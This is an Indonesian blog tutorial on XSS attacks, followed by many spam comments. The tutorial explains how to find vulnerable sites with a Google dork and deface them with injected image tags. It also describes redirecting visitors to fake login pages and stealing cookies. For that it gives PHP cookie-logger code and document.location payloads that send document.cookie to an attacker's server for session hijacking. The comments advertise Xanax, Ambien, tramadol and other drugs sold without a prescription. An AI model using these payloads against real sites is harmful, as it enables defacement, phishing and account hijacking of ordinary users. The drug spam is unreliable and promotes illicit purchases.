POC Xss Attack (Pemula) ::::Deface Situs::::
XSS attack Simulation
Banyaknya temen2 yang pernah nanya ama gw tentang apa itu XSS dan seberapa bahayakah Xss itu, maka gw berkeinginan membagikan sedikit yang gw punya. mungkin ne sekedar tutor cupu dari seorang new bee kaya gua ne.
Ok...ada baiknya kita mengetahui, apakah Xss itu.
XSS adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client. Xss mungkin jenis serangan yang paling cupu bagi seorang attacker yang tidak mempunyai Bug atau exploit. dikarenakan Xss hanya membutuhkan sebuah browser saja.
Bagaimanakah menemukan Situs yang vulner?
Mmpph......mencari situs yang vulner emang gampang-gampang susah, karena kebanyakan situs udah memfilternya, tapi gimanapun kita masih bisa menyuruh kacung paling baik di seluruh dunia untuk mencarinya, sapa lagi kalo bukan paman Google.
Betul, kita menggunakan Dork dengan query sebagai berikut:
" inurl:"search.php?q=" "
atau jika manual kita bisa mencoba fasilitas sebuah site seperti Guest book, Search Box, Shoutboxes, Comment atau forum.
Nah sekarang jika sudah kita ketemukan target kita akan mencoba mengexploit site itu dulu, apakah site itu mempunyai vulner terhadap XSS.
Ok sekarang kita coba menginjeksi dengan kode :
" alert("XSS") "
maka jika menampilkan dialog box seperti ini maka site itu vulner :
tapi apakah sekedar itu saja, sekarang kita coba dengan metoda lain, apakah site itu bisa dideface bro? bisa saja, sekarang kita coba bagaimana mengattack site yang vulner itu ok.
dengan penyisipan tag IMG SCR pada sebuah url atau pada comment sekali.
Apa itu IMG SCR tu bro? IMG SCR itu adalah semacam Tag pemangilan gambar dari suatu link tertentu untuk ditampilkan kepada website tersebut.
pemanggilan tag itu dengan code sebagai berikut :
tapi terlebih dahulu gambar deface lo bisa upload dulu ke hostingan, misalnya ke photobucket atau flickr. setelah itu ganti url nya dengan url gambar tadi.
hingga menjadi seperti seperti berikut :
" "
nah setelah siap kemudian sisipkan pada URl situs yang mempunyai bug tadi hingga menjadi seperti contoh.
" http://www.Target.ac.id/search/?q="
kemudian apa yang terjadi???
maka situs yang mempunyai bug tadi akan berubah tampilan menjadi gambar yang kita upload tadi.
misalnya contoh gini
metode penyisipan lain selain dengan gambar juga bisa kita lakukan misalnya dengan file flash (SWF) hingga serangan ini mempunyai style tersendiri
"
dengan penyisipan tag tersebut maka akan langsung meng exekusi file SWF pada link tersebut.
atau mungkin dengan melakukan redirect ke situs lain misalnya dengan code :
" window.open( "http://www.google.com/" ) "
maka jika dieksekusi , kita akan di redirect ke situs google, mungkin biasa aja, tapi gimana klo dibawa ke suatu situs login palsu misalnya fake login yahoo, mungkin bisa berbahaya juga tuh.
Nah oleh karena itu XSS ini walaupun bug kecil tapi bisa berbahaya juga, misalnya dengan melakukan teknik Xss Cookies Stealing.
Apa itu Cookies Stealing . cookie stealing itu adalah mendapatkan cookie orang lain, supaya kamu dikenali oleh Situs target sebagai orang tersebut.
Nah buat pertamanya ambil Cookie Logger Di http://G0t-Root.net/tools/cookie.php
Atau salin aja code dibawah ini :
$c = $_GET['c'];
$file = fopen(?Log.txt?,'a?);
fwrite($file,$c);
fclose($file);
?>
Ok sekarang gw anggap lo dah memilikinya save dengan extensien Php dan upload ke server lo, dan jangan lupa untuk membuat file LOG.TXT dengan chmod 777 dan sekarang kita langsung menuju ke website yang akan diserang.
masukan code ini
" window.location = "http://server-lu.com/cookielogger.php?c="+document.cookie "
atau
" document.location = "http://Server-lu.com/cookielogger.php?c="+document.cookie "
hingga otomatis url pada site berubah menjadi
" http://Target.com/search.php?q=document.location = "http://server-lu.com/cookielogger.php?c="+document.cookie "
Nah jika ada user berkunjung ke situs yang telah di inject tadi maka otomatis cookies tersebut akan terekam dan masuk kedalam log file yang telah dipersiapkan dan lo bisa mengawasi cookies yang didapatkan hingga ntar lo bisa meng hijack cookies tersebut.
Ne misalkan hasil cookies yang telah didapat :
" $ ls -la /home/theSiteUsername/tmp/ | grep sess
-rw------- 1 theSiteUsername theSiteUsername 5068 Sep 18 09:20 sess_1a1aexxxxxxx5e282e1a5747694ec8e2
-rw------- 1 theSiteUsername theSiteUsername 5023 Sep 18 09:19 sess_462fexxxxxxx13dafa331bc15e962e22
-rw------- 1 theSiteUsername theSiteUsername 5109 Sep 18 10:51 sess_717edxxxxxxx653df341f91d096e0484
-rw------- 1 theSiteUsername theSiteUsername 5079 Sep 18 09:14 sess_91850xxxxxxxef480524c23412b23dc1
-rw------- 1 theSiteUsername theSiteUsername 5011 Sep 18 10:38 sess_9246dxxxxxxxe6e710a9e623af23ca95
-rw------- 1 theSiteUsername theSiteUsername 5079 Sep 18 09:25 sess_a4cdcxxxxxxx065ede6ecb062d443f86 "
Nah sekian tutor pendeknya, semoga aja berguna n keep posting and share you knowledge.
Kritik dan saran slalu saya tunggu dari kalian smua
www.fushredrac.blogspot.com
www.facebook.com/fush.redrac
24 November 2012 pukul 21.05
generic xanax xanax order online no prescription - much does generic xanax cost
24 November 2012 pukul 22.22
order zolpidem addicted to ambien high - ambien and alcohol high
24 November 2012 pukul 22.25
alprazolam medication buy xanax online united states - xanax withdrawal method
24 November 2012 pukul 23.23
buy xanax generic xanax strengths - high on xanax bars
24 November 2012 pukul 23.34
xanax pill xanax rx - xanax dosage by mg
24 November 2012 pukul 23.49
ambien zolpidem buy ambien online (no script) - ambien retail price
25 November 2012 pukul 01.55
xanax order no prescription xanax pills .25 - what does generic xanax look like
25 November 2012 pukul 02.57
buy xanax xanax online reviews - .5 xanax high
25 November 2012 pukul 11.14
xanax 1mg what is xanax xr 2mg - xanax picture of pill generic
25 November 2012 pukul 12.35
cheap generic xanax xanax dosage ocd - xanax on hair drug test
25 November 2012 pukul 13.40
buy xanax bars 1mg xanax first time - buy xanax answers
25 November 2012 pukul 14.37
order ambien online overnight ambien dosage 20 mg safe - buy ambien from mexico
25 November 2012 pukul 15.05
xanax depression generic xanax xr cost - better high xanax klonopin
25 November 2012 pukul 16.00
ambien online purchase ambien side effects weakness - ambien side effects double vision
25 November 2012 pukul 16.08
buy xanax online without rx buy xanax for dogs - buy xanax online legit
25 November 2012 pukul 16.56
buy zolpidem ambien 10 panel drug test - generic ambien doesn't work
25 November 2012 pukul 17.36
cheap generic xanax canadian pharmacy no prescription xanax - xanax bars drug facts
25 November 2012 pukul 18.20
ambien 5 buy ambien online mastercard - where to purchase ambien online
25 November 2012 pukul 19.26
buy ambien online no prescription order ambien online cheap - ambien side effects blurred vision
25 November 2012 pukul 20.15
buy xanax Phoenix xanax 4h2 - xanax drug usage
25 November 2012 pukul 22.28
buy generic xanax online cheap xanax for sale - xanax for cats
25 November 2012 pukul 23.27
xanax cost xanax online no prescription cheap - effexor xanax drug interactions
26 November 2012 pukul 03.38
buy alprazolam online without prescription xanax 2mg online no prescription - xanax side effects sleep
26 November 2012 pukul 05.04
buy xanax online get over xanax withdrawal - klonopin vs xanax side effects
26 November 2012 pukul 05.54
buy ambien zolpidem tartrate vs ambien cr - trazodone vs ambien sleep
26 November 2012 pukul 06.24
xanax cheap what is xanax bars - generic xanax gg 249
26 November 2012 pukul 07.17
order ambien online no prescription ambien zolpidem 5 mg - ambien drug forum
26 November 2012 pukul 08.13
ambien drug order ambien online no prescription - ambien cr drug interactions
26 November 2012 pukul 08.51
xanax cheap xanax buy online no prescription uk - xanax side effects for dogs
26 November 2012 pukul 09.35
ambien online pharmacy ambien online without rx - ambien party drug
26 November 2012 pukul 09.52
alprazolam buy xanax bars onax - safe take 1mg xanax
26 November 2012 pukul 10.12
alprazolam xanax buying xanax online illegal - mexican xanax online
26 November 2012 pukul 10.30
cheapest ambien ambien walrus let's do this - ambien dosage long
26 November 2012 pukul 11.13
buy xanax online Sacramento xanax online no prescription review - xanax schedule 2 drug
26 November 2012 pukul 12.48
buy ambien ambien side effects bruising - ambien cr coupons savings
26 November 2012 pukul 15.34
buy xanax buy brand name xanax online - xanax vs clonazepam
26 November 2012 pukul 21.26
buy xanax online cheap xanax pharmacy - xanax 1mg dose
26 November 2012 pukul 22.19
cheapest ambien ambien side effects violence - ambien side effects dreams
27 November 2012 pukul 00.02
order zolpidem ambien side effects while pregnant - ambien cr not working
27 November 2012 pukul 00.25
xanax pills xanax bars 249 - xanax drug test results
27 November 2012 pukul 03.41
ambien without a rx ambien cr 12.5 recreational - buy cheap ambien online
27 November 2012 pukul 09.59
buy ambien online no prescription ambien cr 12.5 high - ambien side effects joint pain
27 November 2012 pukul 13.40
xanax medication different types of generic xanax pills - xanax withdrawal librium
27 November 2012 pukul 16.44
buy ambien ambien buy online usa - ambien cr for sleep
27 November 2012 pukul 17.38
buy ambien ambien side effects loss of appetite - what is ambien 10mg
27 November 2012 pukul 19.51
xanax antidepressant buy xanax generic - xanax dosage gg 257
27 November 2012 pukul 19.52
ambien ambien makes me feel good - ambien side effects on liver
28 November 2012 pukul 08.05
how to buy xanax online legally buy xanax online canada - what is alprazolam 0.5 mg used for
28 November 2012 pukul 08.34
ambien sleep ambien with xanax overdose - ambien side effects hiccups
28 November 2012 pukul 09.04
xanax cost can you take 2 mg xanax at once - xanax pills orange
28 November 2012 pukul 09.53
buy ambien ambien cr label - ambien and jwh-018
28 November 2012 pukul 10.22
cheap generic xanax drug interactions xanax and ambien - buy xanax bars 2mg
28 November 2012 pukul 11.28
xanax without a perscription xanax effects diabetes - xanax and alcohol how much
28 November 2012 pukul 12.49
can you really buy xanax online xanax overdose yahoo - blue xanax pills mg
28 November 2012 pukul 15.02
buying ambien online side effects ambien sleeping pills you - ambien side effects blogs
28 November 2012 pukul 23.39
xanax online pharmacy xanax pills green - xanax 2mg bars generic
29 November 2012 pukul 01.15
buy xanax online cheap no prescription order xanax cheap online - xanax withdrawal .25 mg
29 November 2012 pukul 02.53
alprazolam mg xanax side effects in women - xanax effects for recreation
29 November 2012 pukul 04.33
buy ambien ambien side effects vertigo - generic zolpidem good ambien
29 November 2012 pukul 05.35
buy xanax online overnight delivery effects of xanax pills - xanax drug
29 November 2012 pukul 09.54
buy ambien buy generic ambien online no prescription - online ambien plus soma pharmacy
23 Januari 2013 pukul 07.21
buy retin-a safe buy retin usa - retin a micro success stories
27 Januari 2013 pukul 22.25
cheap generic viagra best viagra for women - buy viagra legally
4 Februari 2013 pukul 04.38
buy soma online soma pill v - online drugstore+soma
5 Februari 2013 pukul 14.34
soma carisoprodol soma muscle relaxer erowid - buy soma hair care
8 Februari 2013 pukul 16.11
buy soma online soma pills for pain - soma muscle relaxer and breastfeeding
8 Februari 2013 pukul 21.04
soma buy need to buy soma - soma intimates online coupon codes
11 Februari 2013 pukul 05.31
cheap cialis online order cialis online overnight - cialis walgreens
11 Februari 2013 pukul 17.54
buy tramadol overnight shipping tramadol ultram alcohol - tramadol 50mg and ibuprofen
12 Februari 2013 pukul 21.27
buy cialis online cialis online sale - order cialis online usa
20 Februari 2013 pukul 07.54
generic xanax xanax in alcohol - dosage xanax 0.25
20 Februari 2013 pukul 08.07
buy tramadol online buy tramadol australia - take tramadol 50 mg get high
21 Februari 2013 pukul 01.21
generic xanax xanax withdrawal heart rate - xanax 2 mg and alcohol
21 Februari 2013 pukul 05.00
buy cheap tramadol buy tramadol online us pharmacy - tramadol withdrawal 50mg
21 Februari 2013 pukul 19.59
alprazolam drug generic xanax greenstone - xanax 1 mg for sale
23 Februari 2013 pukul 01.07
xanax online xanax side effects on kidneys - xanax side effects alcohol
23 Februari 2013 pukul 02.58
tramadol no prescription tramadol withdrawal codeine - tramadol hcl tab 50mg side effects
23 Februari 2013 pukul 05.28
generic xanax xanax weed - buy xanax online from u.k
23 Februari 2013 pukul 22.47
buy tramadol online tramadol hcl veterinary use - tramadol no prescription cod
24 Februari 2013 pukul 00.19
where to buy tramadol online tramadol withdrawal schedule - order tramadol no prescription cheap
24 Februari 2013 pukul 00.52
buy tramadol with mastercard tramadol hcl 50 mg efectos secundarios - buy tramadol order cheap tramadol online
24 Februari 2013 pukul 11.42
xanax online order upjohn xanax - xanax highest dosage
24 Februari 2013 pukul 15.21
buy tramadol online tramadol 200mg - buy tramadol in europe
24 Februari 2013 pukul 21.44
buy tramadol online tramadol make you high - buy cheap tramadol online cod
25 Februari 2013 pukul 02.08
xanax no prescription xanax drug fact sheet - difference between xanax generic xanax
25 Februari 2013 pukul 21.47
carisoprodol 350 mg carisoprodol 350 mg generic for - does carisoprodol 350 mg look like
26 Februari 2013 pukul 03.15
buy tramadol online tramadol withdrawal babies - buy tramadol online free shipping
27 Februari 2013 pukul 18.54
buy tramadol online buy tramadol online florida - buy tramadol online bluelight
28 Februari 2013 pukul 03.16
cialis buy online no prescription typical price cialis - cialis форум
28 Februari 2013 pukul 10.55
buy tramadol online tramadol 50 mg vs percocet 5mg - tramadol for dogs withdrawal symptoms
28 Februari 2013 pukul 11.41
cialis online buy cialis 5 mg online - cheap cialis online usa
28 Februari 2013 pukul 18.42
buy cialis online cialis online nederland - how to order cialis online safely
28 Februari 2013 pukul 21.23
xanax online 6 bars xanax - xanax side effects bad dreams
2 Maret 2013 pukul 10.43
cialis sale cialis jelly sachet - buy cialis bangkok
2 Maret 2013 pukul 18.48
cialis online cialis online usa paypal - buy cialis johannesburg
3 Maret 2013 pukul 00.58
xanax online xanax generic 25mg - xanax recreational use dose
5 Maret 2013 pukul 22.42
http://landvoicelearning.com/#38471 order tramadol from usa - tramadol hcl withdrawal symptoms
6 Maret 2013 pukul 17.41
tramadol buy ultram for dogs pain - tramadol addiction recovery
6 Maret 2013 pukul 22.47
buy tramadol online buy tramadol online echeck - tramadol dosage and side effects
7 Maret 2013 pukul 01.47
clonazepam drug klonopin anti anxiety medication - klonopin overdose much
7 Maret 2013 pukul 06.57
http://landvoicelearning.com/#30896 tramadol high many - tramadol for dogs how much
8 Maret 2013 pukul 13.56
tramadol online no prescription tramadol withdrawal in cats - tramadol controlled substance
8 Maret 2013 pukul 18.53
http://landvoicelearning.com/#51602 can you buy tramadol over the counter in the usa - can you order tramadol online legally
9 Maret 2013 pukul 11.49
http://landvoicelearning.com/#63987 tramadol no high - tramadol 50 mg vs norco 10
9 Maret 2013 pukul 19.43
buy tramadol online cloridrato de tramadol 100mg/2ml - generic tramadol online
10 Maret 2013 pukul 11.45
http://www.integrativeonc.org/adminsio/buyklonopinonline/#8491 klonopin dosage by color - zoloft and klonopin for anxiety
10 Maret 2013 pukul 11.50
learn how to buy tramdadol buy tramadol online with a cod - what is the difference between tramadol and tramadol ultram
10 Maret 2013 pukul 21.48
clonazepam medication klonopin order online no prescription - klonopin interdose withdrawal
11 Maret 2013 pukul 08.45
learn how to buy tramdadol tramadol 50mg tab amneal - tramadol for dogs dosage chart
11 Maret 2013 pukul 21.15
buy tramadol in florida buy tramadol no prescription free shipping - buy tramadol now
12 Maret 2013 pukul 03.16
buy discount tramadol buy tramadol 50mg online - tramadol zoloft taken together
12 Maret 2013 pukul 13.32
buy clonazepam klonopin 8 mg - highest dosage klonopin
12 Maret 2013 pukul 15.56
http://buytramadolonlinecool.com/#30807 best place buy tramadol online - buy tramadol online no prescription cod
14 Maret 2013 pukul 04.57
http://reidmoody.com/#41572 ativan yawning - where can i buy ativan online
16 Maret 2013 pukul 10.45
buy generic tramadol online buy tramadol online overnight - buy tramadol saturday delivery
19 Maret 2013 pukul 00.17
carisoprodol 350 mg soma carisoprodol back pain - carisoprodol 350 mg recreational use
20 Maret 2013 pukul 00.36
buy tramadol online tramadol 50mg - tramadol 50 mg
21 Maret 2013 pukul 07.33
buy carisoprodol online soma 250 mg carisoprodol tablets - can u overdose carisoprodol
25 Maret 2013 pukul 20.48
http://bayshorechryslerjeep.com/#2902 xanax 2 mg with v - xanax bars facts